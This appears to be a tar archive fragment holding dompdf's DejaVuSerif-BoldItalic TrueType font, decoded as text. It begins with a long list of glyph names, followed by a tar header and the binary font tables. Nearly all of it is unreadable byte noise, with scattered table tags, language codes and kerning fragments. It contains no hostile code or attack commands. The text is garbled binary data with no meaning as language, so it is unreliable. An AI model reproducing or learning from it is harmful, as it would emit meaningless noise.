uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27C2uni27C5uni27C6uni27DCuni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F5uni27F6uni27F7uni2987uni2988uni2997uni2998uni29EBuni29FAuni29FBuni2A00uni2A2Funi2A6Auni2A6Buni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C64uni2C6Duni2C6Euni2C6Funi2C70uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Cuni2C7Duni2C7Euni2C7Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7AAuniA7F8uniA7F9uniF6C5uniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D55A	dlLtcaronDieresisAcuteTildec6462Grave
CircumflexCaron
fractionslashuni0311.caseuni0306.caseuni0307.caseuni030B.caseuni030F.casethinquestionuni0304.caseunderbar
underbar.wideunderbar.smalljotdiaeresis.symbolsEng.altexclamdown.casequestiondown.caseuni2E18.case��@t������������G���G�2���2�d�����k������
���
���������Y�����&�Y�@&~2}�|{zG{�{���@�zyAzGyAxw2xkw2v�u�t�s�r�qp%ol�kj
j
ii�hghh�gg@f�e�d:d}cbcbaba`;`2_^_^];]d\[Z�[�ZY]Z�Z�YX%Y]Y@X%W�V;V}U:U2T;T'SRSdRQ�PdOSM;M2L:L2KJ;JdI�H�GF
F
F@ED.E�D@�.CBA�B�A@]A�A�@=%@]@@?k>=%>�=%<;<d;:;:9�8�7�6}5�3d101�0/�.-.-,�+*d+�*d)�(�'&'�&%�$�#}"!"}! 2��@d
2
K4>4K�7
7@6�
	2
�		2X}X��d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSerif-BoldItalic.ttf000066600001246504151150443000017365 0ustar000FFTMs���<GDEF���LX�GPOS5kk�5.GSUB���74�OS/2n���=�VcmapO�*>(cvt �먏N@�fpgm���O��gaspPpglyf�uP|�dhead���6hhea�$hmtx#�P<6�kern�G��Qloca3} l6�maxp0��� name�E��!�post�e.����prep�V�:G��=����)��)��������������������������������������
n
o
y
z

�
�
�
�
��DFLTcyrl*grekFlatnV��MKD SRB ����^AZE ^CRT ^GAG ^ISM ^KAZ ^KRK ^KSM ^LSM ^MOL ^NSM ^ROM ^SKS ^SSM ^TAT ^TRK ^��kernmarkmkmk �#xBj BHNTZ`flrx~����������������������Vf��<��<���<��<��<�a����Vf�Vf�W��W��Vf�8��<�]��/�)f�'f�)f�'f�'f�'f��������������������������������
o
o
q
q
s
w����������
o
y&�����������������$*06<BHNTZ`flrx�'��'��'��J��J�����J��J��J�����J��8��8��������8��q��c���D�����D��D���������������o��o��o��o��W��W��W��W��o��o��o����JPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|�����������������������r������������M,��j�9~�M��}�R��nj�����6�����M-�����x�H��oO�!���,�������I��Z�D���D0[��D#���RD�R��[P0�b0�R��[����D�D�DD�D�R4D��RD�D���/D^�D����D�D��D�R�D��mK�.�Qm�m�m���m.H[DDEi�9��[�D����D������R��h����D��l���'������j�k�N+D�d��D�����g��Dx�[�D��D�R,��D�R�X��������(D�(�&�Dk�����>�"��r����D$��~�R����D���Dg�J�D�RDDq�D�[D����D�D���R[�D0D0D0D1�D�DdD��DL�RW��R?D�RD1D�RDEYD1�R��[��4�R1��D�D,���������R}D��D��D��R�D��R.Da�R.Da�R_D�DD4D`.DZ��q�RhDy��I�DO�R+D�R.D�RD�DD�hD8�D��R)��R���R�D��R)��RVD�P=�~�R2D^)DU0D[�D���DL�/`D����D��R�D��R�D��Ru�h�����Y���R���D&/D[W�1YD�<1�R�D�R]D�O�^�Ru�h���
D:D;;�/�RD5�RyD�p���#��8��;����zD�j�MZD���}�R�~��5��������Y���i�8��w�������F�D/D/D�D�D�D-D�D!DDDDR����D��?D\��D��wD�������D��[���������|kD(�0D\�DhDE��D1DEDE�D�zD�]D��D	ZD��D��D��D�DDEiD��D��D(GD��Ds�D6DbD/DCO��R�D����D�D��D����D��D(0D\[D��D(�D�D�J���V���x���o�������e��������������������O���)������O������������x�������H�������B�{��9����9����h�B���H��D(�DH�D�R6Db)DU����
�����U��-����R���R��$�@u�������M��\�[���*��k�������N~�
�Rt�X��\�����\��z�D�X��R!��D����DU�8ZD�q�J�D���v����V��1�Ve��Dk��Dr��D���D��"DV�9�D���R�������R~��R��|*������D�R�����D�R��D����/H\���/H\N�2"DO���DA���DA �M�R"D!�R_�B�D���o��\u�S�����{�D�V�9�D��$�RtD�R���R,D�R�0��R!��R,D��R���R,D�R��D46�D�j�9����j��D��>/��*��Q&Z���D�D��D�R�D�D6�;Dg<D�RO�3z�]3D2��D�0D\DE�D��DzD� 9N���[����D�Ri$=D]��4��5��7��8��:��;��<��>��?��AB))DABEHJGLLJPRKUVNXYP`aRijTnnVppWssXuxY||]��^��`��a��b��d��h
iRoTf�ii�kk�mm�yz����������������oo�qr�{{�~~���������������������������������������������������������77����
�')1?DDHGGIVVJY]K__PddQ||R~S&'U��W��Y��Z��[��\]^

_`j#l%'q)+tYdwy�����
z
{�
}
�
�
��
�
��
�
��	����������"��-��5��;
o
y<G$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz�������������'D�'D�'D�'D�'D��D�'D�'D�'D��D�'D�'D�'D��D��D�'D�/D�;D��,�
m�
m�A�@�^�^�d�N�N�^�?���9�2���<�C�A�:�@�A�:�:�:�.�L�1�`�<�T�:��D�m��D�
m��D��D��D��D��D��D�D�]D�]D�]D�]D�WD�WD�WD�WD�]D�]D�]D�@('���k���k����k�������������
�
&&&&��������&����&�2���2��������������������&�����a���k����������������������Y���
�u�}�������}�}����K���������������k������������K����������/��/&������K����������������<���k�D�D���k�a�a�a�k�D��D�������k���2�a���D�D���}���D�D�D&��&�������u�}�N�Y���������u�Y�Y&�&�����������2����}���a�N���N�a�N�N������A������k�DKKKK�Y�2KKKK���<�KKKK���k��K����������&��������Y���
�u�}�����������9999������D����O$$%%&&''(())**--	..
//1122
33445566778899::;;<<==IINNRRUUYZ[[\\mm}}���������� ����
��
������!����������"����������������#$		  ""&&00::??}}%��%��&��'����
��K$$&&**--22	66
778899
::;;<<DDFFHHIILLOORRUUVVWWXXYYZZ\\mm}}��������	��	���������������� ������������������	!  
!!""
##&&''0011::��"��#��$��%��&��$����c$%&'()*-./123456789:;<=INRUYZ[\m}������������������������������������������	 "&0:?}�������
<�DFLTcyrl0grekblatnv��MKD  SRB  ������pAZE �CAT �CRT �ESP �GAG �GAL �ISM �KAZ �KRK �KSM �LSM �MOL �NSM �ROM �SKS �SSM �TAT �TRK �����������	aalt8case>ccmpDdligJligaPligaXlocl^locldsaltj
 (08@HPX`hX�\���Bp```z�LM��**__����^^���� ��!��'UU(Y$=IIKKLMOO�����������������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVV��������������������**__����^^��������UU��	�����
�������yN(D�IO�O�I
�TO
�O
�T
�OIT
�> 4�IL�L
�TL
�L
�LIT
�
�W�WVA
�
�
�
�
�
�J�����8"&,04
�
�
�
�
�
�
�
�
�J���y��

r
p
s
q
v
w
o
x
t
y
������������
z!
{
}���
~
LM�*_^���U
�
�
�c�R��3�63��E�f��R��
 PfEd! ������`���,
�,
��``~��������?COXaw����_emw���������V_��?��kx����EMWY[]}������� & : > B I O S W d q � � � � � � � � �!!	!!!"!'!+!2!D!K!N!�!�"""	""" "-"="C"H"U"a"e"�"�"�#####!#%#(#}#�#�$#&&<&G&g&o'�'�'�'�))�**/*k+,a,d,s,w,-%...%..�G�Q�W�����A�G�K�O�i�|�����������&�(��������� ��������COX`pz�����bjp���������1Ya�?��w{��� HPY[]_�������  * < B D K Q W _ j t � � � � � � � �!!	!!!"!&!*!2!A!K!N!P!�!�""""""#"8"B"H"P"`"d"�"�"�##### #%#(#}#�#�$#%&8&?&`&i'�'�'�'�'�)�**/*j+,`,c,g,u,y-..."..�D�P�T�����&�F�J�N�h�{������������(����������������������������������������|�{�z�y�k�i�e�c�O�M�K�I�G�C�A�?�=�'�#���
��X��������������������~�}�|�{�z�x�w�v�t�s�q�p�o�l�k�h�g�f�e�b�[�V�T�S�J�E�C�B�@�>�<�����������������������������������i�e�Q����������j��;���������|�u�o�������߱߰߮߭߬�,�:�4�2�*ff
fe�e]eYeSeOeMeKe3e"eeeed�����
P� ~��b���������������������?�CC�OO�XX�`a�pw�z����������_[be�jm�pw���������������������
��7=1VAY_ga�n���??�������k�wxW{Y��^��_������� E�HM�PW�YY�[[�]]�_}������-��<��J��P��c��f  &o * :� < >� B B� D I� K O� Q S� W W� _ d� j q� t �� � �� � �� � �� � �� � �� � �� � �� � ��!!�!	!	�!!�!!�!"!"�!&!'!*!+!2!2!A!D!K!K	!N!N
!P!�!�!�A!�"B""�""	�""�""�"" �"#"-�"8"=�"B"C�"H"H�"P"U�"`"a�"d"e�"�"��"�"��"�"�	##	##	##	##	# #!	 #%#%	"#(#(	##}#}	$#�#�	%#�#�	9$#$#	:%&	;&8&<
<&?&G
A&`&g
J&i&o
R'�'�
Y'�'�
Z'�'�
\'�'�
]'�)
_)�)��**�*/*/�*j*k�++�,`,a,c,d,g,s,u,w",y,%--%,..R..S.".%T....X�D�GY�P�Q]�T�W_����c��e��t�&�Ay�F�G��J�K��N�O��h�i��{�|����������������������������&��(�(����������������������������hԛ
��U
4
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a���������������������������������rdei�x�pk�vj����s��gw���9�l|"���cn�T��m}�b����������
�:�������y���������������������q���z���{`�jyV\by�b�`{�{N\=�����������VTq���\f{fb�����--)�{bb�??)fD)���y�
�V�%h�N���fs{�juy
����jdy��{Hy`�yqq
33�Ny���j``'''Dbj�yy�b3'�b=��D)f�R�R��5fVV�VJ!/T�fDs�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��f��f�!%!!f�s����r)����	7>2"&!#7���Z��Yw��%�%�NppNOpp�������h�#!#������+��+�)�!!!3!!!!#!#!5!!5!��F+`a�a��E��`�`��`�`��HF��R`h��h������������T��$+173;.76$73#6&'#.>&'T9x	��O� #�5y5o�Y5y�|H�#$���5y5n�2Xs
D]gyOf;#���7����
��+'��t���;Ǵ����,�T=FV�W�`x��!�%0"32676&'2#"&6!3#2#"&7>"32676=@S !@AS! -��M󿾣M�N��,�ٿ�&'󿾢'&��S !@AS! ���������e�v�����-��������d���������#�8E)'# '&547>7&'&5476$32#454'&#">?!#3%326��!et����Ԑo
��% 7�J�w<�)/ke��	nIg>�.�[���Y�=DU	>U�N��PP�b�/4��SC=" ����g29`R\�	�D�qxx��W�lLC�S/*nOm1����#����+���$%�����n��CCB���}��̄x`��������`����76'7N��CCB�<�X��x`yXYy`x��4�L�.-9�
%#'-73%��hb�����bi��bH�H�����{������x���!!#!5!��������������B?	>?!	x�+���TЊV��mT���!!�t4��������$`7>32#"&��NOZ�ONZ�NppNOpp�\�B��3#�����m_��1�	$26&" ! ��UU.�UU�����+*�tX�����H�I������p��q�I�
37!7%!!���;��y����y���#>3 !73!?$76&#"Ux>��z(��+�"�U��0�A�#"l�v�dB%%�Д��J�������� �*6$3 !"&'332676&+732676&#"#9��v�#ǥ��#(����v�@y��� ��B4��q�v�&y�##����̱��((H������x����{�)73!7!!!3����5��6x��5�����ys������+$���!>3 !"&'332676&#"#3��@L�Z
//����z�{?xq���''e�L�@d�����34�����(*F������?B�w��`�!>32! !2#.#"26&"K�_��-0������FO�XZ�p3yvn��Y�zT6�yTu44����qf����fi�ѯ����P�y�	#!#!G���C�'�^E�)���&��=�!- $7>7.76$! 6&#"266&#"326¬� (������( ⷖ|%C�%��5\]b5�aD#Brsw#$Arqz̥���Υ�$����Ⱦ��'�ww��uu�շ������1���!"26#"76! !"&'3326��yT5�zTYL�^��-0Y2�FO�Q��Z�p3yvo��{��P�����55������i�afi�|��w�>2"&>2"&���Z��Yo��Z��Z-Opq�nn��NppNOpp�����>2"&>?!��Z��Y��y�+��-Opq�nn�eSϊX�m�B��	5�-�����������-��!!!!���������B��55������1�0�P����"7>32#"&>32#>76&#"#��NOZ�ONZ9��i��((��(�:��]wn�"y�NppNOppY""�����++�����������K76&#"326#"&$3273>76&'.#"3267#"$'&76$32!#�]ec�:Wce�:�Z��R	�Z�ې��"@_L茂�k��&,ET��z�t'��ڐ��geDKĖ�`Ͳ`oM"6�����L����ذ��HL���LG}�'갏�`NTFEj��ś��ewzDC^TT~~|K�J}~|abo�����^��#7333!73!3!�z=�(��E�?�Ϲ�f�wy\��yy1��y#;��B�$#73#7! !32676&+32676&+1��u�$ܾ�� +����U�����������y�y����Ƥ��f}��v�����U��K�! !2#.#"3267�h��������EE	z��G���ܕ�L����ef�@A�������f��������%32+73#7! !&��??�������_FF�
�oy,GE+��y�y���������0�#73#7!#7!!73#7!!731��>D�)��]�%�d�%�yu�)�Dy�y���!����������%�#73#7!#7!!73#7!31��3D�)��]{%�d�%��y�y�y���!������yU��~�.#"3267#7!# !2�����BA��T�CO�p��������FF��)�GƱ�������&&�x��NL�hi�@A������#73#7!#!#7!#3!73!31���bRb�����w��w�y�yy�
�yy�yyd��y����#73#7!#31����y�yy�y���V6�733267#7!#!"&��-�<Laj(����/���S����^X��+yy����"��8�#73#7!##7!#	3!31���j�-��?����v�y�yy��!yy�3��y��y��+�
#73#7!#!731����L-�Hy�yy�-���	
�#73#7!!#3!73#3;��h�fg�����f���޾y�y�B�y�yys����y����#73#7!#7!#!37������
������?��y�y���yy��7�ByU����%2#" ! ���@@{���@@|�������xy[FF�\BKLB��������y����d�����d���#73#7!2#!332676&+1��R��''�����a�ap��x�py�y����y㭑��e�n��.$'&547! ;#"'&2654'&#"���yG�xy�|>�j��*G���0���p��@!>���@ >̑�[ij�Γ�[i��t/9:�sR)BK�}wO������|xQ���9�#3!.+3!73#7! %326&+<Vh����*RV=k����T�%����6y���
\W�`yÌM��yy�y���!����t�)7332676&/.76$!2#6&#"!"$E����[��Ћ#,W
��@����U��Ƒ&,���ђ��Hb��vrZd+78Ǹ�,,����gf]a474���2_q�373!#!#7!3���g-�H�H�-�d��y��u���-y��a�#7!#326#7!#! ����6����6����B�������C\yy������yy�����&Um��###7!##7�}���؍���W��y��\yy�#�yg	��)!#7!#!#7!#@���������j{ٲ��?��\yy�k���yy��w�	3!73	#7!##7!#	3!73��p�����������p���&_���?�:yy;�yy�\�yy��5yyg[�373#7!##7!#3��a����������k�y��yy��9yy�B��y���
#7!#!!73Eg�5+�F���(�C���h��A��N���!#3!�7�����x��x��BI�#�����m����{	!73#7z�����4���x2x����	#	#��J�J���;��-���!5��۾���f#����f��xF���D&#"32677!7#"7676! I9��=0$4_]u$����Dn��,+��0,l<�J�����(�r{������2��*(#7!>32#"&'!3267654'&#"J��z=�p�eD3���p����jm{-mj�$�x��SQ�c�KW����QS��dF<'S��W6!X��E���D## '&547!2#654'&#"3267\I����[3no�m:p*2r��0)�k�%L���h�CM(**��f7A��YN0h�x��l(7654'&#"326	!7#"'&54732#78in{-
mi�W���=�p�dC3=�p�c��icF='S��W7"X���SQ�d�KX*QS�xD���D
%4#"03 7632673# '&547!2\|_p32/�j�s�*�N����wS3h�	?@�����&�p"G�zt���f�EQ(�������{�#267#7376$32#654'&#"!!#6bP^���"�U�K-pEP^���)|����s��y����
9&s��y�5�<[8.�9UD+&#"3267!"&'73326?#"776! �@�rG+$=mh�$ǿ0��j�m2q7<���'z���+5��M
l<�eܹ����*�d{!!�	\/3��y���İE#3#7!>323!654'&#"F�}S�}�G-l���Uk�!t�x�}_TjCl=J��y�F0,4����E�>32#"'&543!#7!.�QO-!�OQ-"������TQo8)7Oo7)7�9y�y���9�'>32#"'&54#7!#"&'73267P�RN.!�OQ-"%��� ���<�E,qBILTQo8*7Oo7)7�ny�\���'$^{E/)#7!#7!3!������� ��Ps�y��t�x��yy���y�XE�%3!#7!�����yy�xr�D/>323!654'&#"!654'&#"!#7!>32^�s�G,l��yS^�~��yR_�~�����P�n��yjahAl?L��yo�D#4���yo�C%4���y�y�]VcrPD3#7!>323!654'&#"s���S�}�G.l���Uk�!t�y�_TjCl=J��y�F0,4����E��D!%26654'&" '&547! Up�2!
�1 
t�΂^3y�^3T��c4"_���b7"aq�l�@J)�k�AJ��3�V~D(3267654'&#"%#7!>32#"&'!Zjm{-
mj����=�p�eD3���p�n��HidF<'S��W6!X��y�SQ�c�KW����QS��k�VRD#"776! &#"3267R����n{���+4��M
��@�rG+$>lh�$��z1���İ�<�eܹ���r�D#654'&#"!#7!>32�>q Lt�#i����$I�|W3��8*̵���y�ok	����WD.3327654&/.5476$ #654#"!"'8qvw�3d��d"��5q��{��n#�����Hbu�<%)�P"'��@����A!%5�V#)��<c���q#73!!!32673#"'&547���@b@'��:@N�(���A*
�yJ��y�uY-"VZ��E,\2A���_'3!7#"'&547#7!3267^���R�}�G.l��y	Xk�!t'�Ry�_TiDl=J+y��}C(5��T*�*)#7!2767#7~���u����Au�ʾ�y����{�����='6767!###7!3%	��9�9}¿�`���t�fu�,��{���ϴ��f�y�H����'	33!##7!�]��9��;�����w�����Fy��o�y��9' 	#7!6'7%#"'732��s��s�L�$Yo���^�+q/+o���y���wly���j��Z3+�E
���z#	327#&'&"'7&'&#"763267��D!Ox���S��ptc� Ox���S��ptc��D���@I.y�D���@I.���%*#"&'.?6&+7326?>7>;#"3���&1U�==��0.$>��gpd5}�}G5@p�y1>$np��sys��pm%=1x^���"����^��#������*3267>7.76&+732;#"+eoe5|�|J5Aoe��&0U�>>��1.$>���^���"���^x1=%mp��sys��pn$>1���?#"'&'&'&#"5>32326�]�e_�
�aM�``�d_��eM�?�VR:BHI�WQ9DHr���{	#"&7>2!73��NOY�����%�%
�nnNOp�J�����L %%#$%3#6&'>7��h~R/{?�6y5��ff3y4:�o9q	Ua�^�!^k�Z�ӝ���%#��&%��~���zj��l�#6&#"!!!73!73#736$!25x
NTu�"4`��l�,�G���o��6*4A�u�al����y���y=y��L=��
.264&#"'7.5467'7>327'#"&�[�\[�~|ї�љ�0l=7m9͘�ќ�.j?:l��\]~�Ϛ�.k@?l.͞�Ӛ�8o6?i/Ӛ�:��$373!7!7'!7!#7!##7!#!!!!3��D�m�#�������l�����$��K��mD�yZu;�u�yy��'yy�#utNu��y����##������
���
����=�5C#6&#"#"&'7332676&/.7>7.7>32>76&'/wWaQj
	)Qy�m�zJ4��S�b/v
XjWl
	(Ry�m�{J6��J���2=	Gc�4>Ie��VVJC/B/Hb�sh�+/Z���ZRJE/B/Hc�rg�,.�Y����!N-=f:X#O*<f;O)5N>2#"'&%6762"&Ohx#"33;<$#�43xH54xF�<V++x,+,,;<++V<;,,X��'A  $&546"3267>54&'&#"&54632#.#"3267h0�ll������ll���WVVV��y{�WVVVVX'������O�WiiQhwviIb�n�������nn����,WWV�{zϬVUWV�z{�VX�g������%'�^j����\Y
���377654'&#"3276767#"'&547>7632733!!�	8
Lz8
M<=0->=D#`0)
$Β(1�ss����pB,#8$/��8-9%8LL��E++
D8_6B��8Y��������-
77��ұ�v T�Ѳ�v -��������������������!#!�������T���!!�t4�������#5K3#'.+3!53#5!2%3264&+  $&546"3267>54&'&�'<d<�u ;7V��VV�x�c��COUUOC<0�ll������ll���WVVV��y{�WVVVVX�5)�R�D+��RR�Rn_Yf$H�H�n�������nn����,WWV�{zϬVUWV�z{�VX?P�!!cv$����dL�2#"&6"32654&Bz0/11-0|D����HdcIHde�3/0xDCy-03���d�bcGHd��7!!!!#!5!�������������f�f�-�#7>32!73!?>76&#"�^&L�P�������d0�H��@I?g��rR�Z�`��T{�]T_S�5�*>32#"&'7332676&+732676&#"�\�@��{itg��P�K&`GOXmQ[)Qd
AHB^`�idH^o]z{�POVRPWTD@?FI@��4f!#�A�f��@�V�'3!7#"&'!#7!3267����G{J7U��
��tXj�!t'�Ry}SG�JXy���J(7��T�;?�!####.76$+q�И0��И��$%1�}����Nݸ���
#�	>32#"��NOZ�ONy�pp�o�o�!#"&'732676&'y2%
�y0c2*R$<H&@m4VZ

�/-BDP���
73?33Q�w��㐤�^eei}�^���!!2676&#" &$ (���L_ 'LM] !'�X�G��G�?��������V�n���e�s-
	7%7� ��-��� ��.�-����AB�����AB��P��{�'�U�d&{����P����&{'��tU�d����{�'�U�d&u���n�{	 #"&7>2#"&76$?332673��NOY��!��i��('3�(�:��]xm�#x
�nnNOp�7""������+���������^�k&$
rLu���^�k&$
pLu���^�k&$
sLu���^�o&$
qLu���^��&$
o"u�7�m	$'32>&#"73.7>323!73!3!?57\?65��z�3'�uv�TD��E�@�ϸ�g�u�lMMlM�-y�%yJu��uJv(�yy1��y#;�/[�#!#73!3!73#7!#7!!73#7!!73jѡK���;��ʤ�TrD�D�)��]o%�d�%��uo)�D!;��y/��yy�y���!����������U�oK�&&z�����0k&(
rxu����0k&(
pxu����0k&(
sxu����0�&(
oxu�����k&,
r(u�����k&,
p(u�����k&,
s(u�����&,
o�u����%32+!!73#73#7! !4��?@��fL���5�s��f��_GF��py+HF*����7yP�
y������������o&1
q�u��U���k&2
r�u��U���k&2
p�u��U���k&2
s�u��U���o&2
q�u��U����&2
o�u/��		'	7	��H���H�H���G���9�H�H���H�����H�����A!	+	.#"32>'!"&''7&7!27�)�t��@�t�E
GF& F�����[�I�G' F�x��Y�I��w{����L��zxNfAe+h������dNN�Z�f�j�MM�Z����ak&8
r�u����ak&8
p�u����ak&8
s�u����a�&8
o�u��g[k&<
p$u����#73#7!#!2#!332676&+1��/�!��M�����)��p��y�py�yy��r��y������d�{u74&#"#672676$! #"&'332676&/.76$-WDmy�)���P^�'@
���"FL�D���P�^2yO^Lo�MW< Q(4Hw��=Җ88s���КUh�Y(F:?~�l��kbXHiw@I�i����F���f&DCX��F���f&DvX��F���f&D�X��F���V&D�X��F���N&DjX��F���&D�X8��D	64#" 76%&#"26763232673 '#"'&5!2�|_i/M*��9��=D
�u$uh{�	?�M�s�*�N��)z���V9�0�?���>�%M<�J��G��E ����" �zt��ooU/���E�o�D&Fz#��D���f&HC���D���f&Hv���D���f&H����D���N&Hj���u�f&�C���u�f&�v���]Of&�����u�N&�j�!��,! 7632.''%.'7%.#"267>�z,5������/-z�*T)	+%��1-�_1��Ph�N+H o�--9ށ-9��m���%��.?n4�d�&>nI7�g����꾼�k���rPV&Q����E��f&RC���E��f&Rv���E��f&R����E��V&R����E��N&Rj��{��4632#"&4632#"&!!�X=>XX>=XX=>XX>=X����=XX=>XX�Z>XX>=XX!������'	4&#"326?!"&''7.7!27��IMn�-&JMm�.>42����o�F�C�34xt�>�E��ZX���YY��H�v����12�V�K�u)21�V�����_f&XC������_f&Xv������_f&X�������_N&Xj�����9f&\vT�VQ(3267654'&#"#7!>32#"&'!- jm{-
mj��z=�p�fC3���p�m��HidF<'S��W6!X��x��SQ�c�KW����QS�����9N&\jT���^�P'qRD$��F���&qED���^�}'�4H$��F���5&�wD���^�o��'�"$��F�o�D'��D��U��Kk&&
p�u��E���f&Fv���U��Kk'
s�u&��E���f'��F��U��K�'
w�u&��E���N'��F��U��Kk&&
t�u��E���f&F�������k&'
t�u����l&G
n�������������07654'&#"326!7#"'&54732!7!7#7!38in{-
mi��=�p�dC3=�p�9��D��)��icF='S��W7"X���9�SQ�d�KX*QS'x]x�x����0P'q>D(��D���'q�H����0k'
vxu(��D���5'��H����0�'
wxu(��D���N'��H����o0�'�+(��D�o�D&�<H����0q&(
tu{��D���f&H����U��~k'
s�u*��.�9Uf'��J��U��~k&*
v�u��.�9U5&J����U��~�'
w�u*��.�9UN'�
J��U�~�'�h��*��.�9U'�4J�����k'
su+��E#k'
s�uK����#'#73#737#7!#!7#7!#3#3!73!3!7!1����$��$R$��$������w��w�R$��y���yy��yy���\yyd��yf�E#%3#737#7!!!>323!654'&#"F���+g��7S�}�G-l���Uk�!t��gx߉��_TjCl=J��y�F0,4��������*o'
q(u,��u�V&��������P'qD,��u'q�E����� k'
v(u,��u�5&��������o�&,'����l�o�&L'��o������&,
w(uu�'%3!#7!�����yy�y����V��'-�,��E�9�'ML�����V6k'
s6u-����9	f'��?�����28�'��	.��E�2/'��	Nu_$)#7!#7!3!�����b�� ��Qr�y��t�y�yy��y�X����+l'
pv/��E�l'
pvO����2+�'��	/��E�2�'�i	O����|�'
n��o/��E�'
n��O������'y��/��EA'y�O��9�#73'%#7!#%!73$�T�/=���U{0�6|L-�Hy�u��yy�N�u����I%3!'7#7!7�*�}��l�+�yy�`i��x��ai������l'
p�v1��rP6'v���Q����2��'�-	1��r�2PD'��	Q�����k&1
t�u��rPf&Q�����7�'Q�~FF�V��*326764'&#"3!73#7!>32!"'73%aj(�z��7�����cޠ�X7�/�����.�����n��%a���0yy�y�aU�X�g�d��D���9^D+654'&#"!#7!>32#"&'7326R�Uk�"t�����R�}�G.� ���<�F,qBIL}+F0,4�����y�_TjCl=J�ߣ��'$^��U���P'q�D2��E��'q�R��U���k'
v�u2��E��5'��R��U���k'
x�u2��E��7f'��RV	��'%# !!"$'&7676$3!#7!!73#7!!73�����==�
����Z�i++�o�D�)��]o%�d�%��uo)�y�����y49VL��IW:3���!�������F���D(732673 ' '&547! 6 6'&#"326764'&"��s�*�N��*y����^3y���z�"?��_^686G��qp�)*
�()�"G�zt��nn�l�@J)ppDa���NK9UV^��	��a��ӗ"_��љ����9l'
p�v5��r�6'v���U����29�'�i	5��r�2�D'��	U����9k&5
t�u��r�f&U�������l'
p�v6�������6'v���V����tk'
s"u6������Wf&�BV���ot�&6z�����oWD&Vz�f����tk&6
t,u������jf&V�B��_�oq�&z+7��c�o�q&z�W��_qk&7
tJu��c���>&W
n��`p�7!!#!#7!!!3!73�Lb�g-�H�H�-�dbL��s����sɉ��u������yyP���q#73!!!!!32673#"&?#73���@b@'��6'��1:@N�(��ۂ$1���yJ��y��y��DVZ�����y����ao'
q�u8�����_V'��X����aP'qD8�����_'q�X����ak'
v�u8�����_5'��X����al&
��Q�����_�&X��������ak'
x�u8�����_f'��X���_a�'���8����o_''�ZX��g	�r&:
s�|��=f'�tZ��g[r&<
s+|����9f&�U\��g[�&<
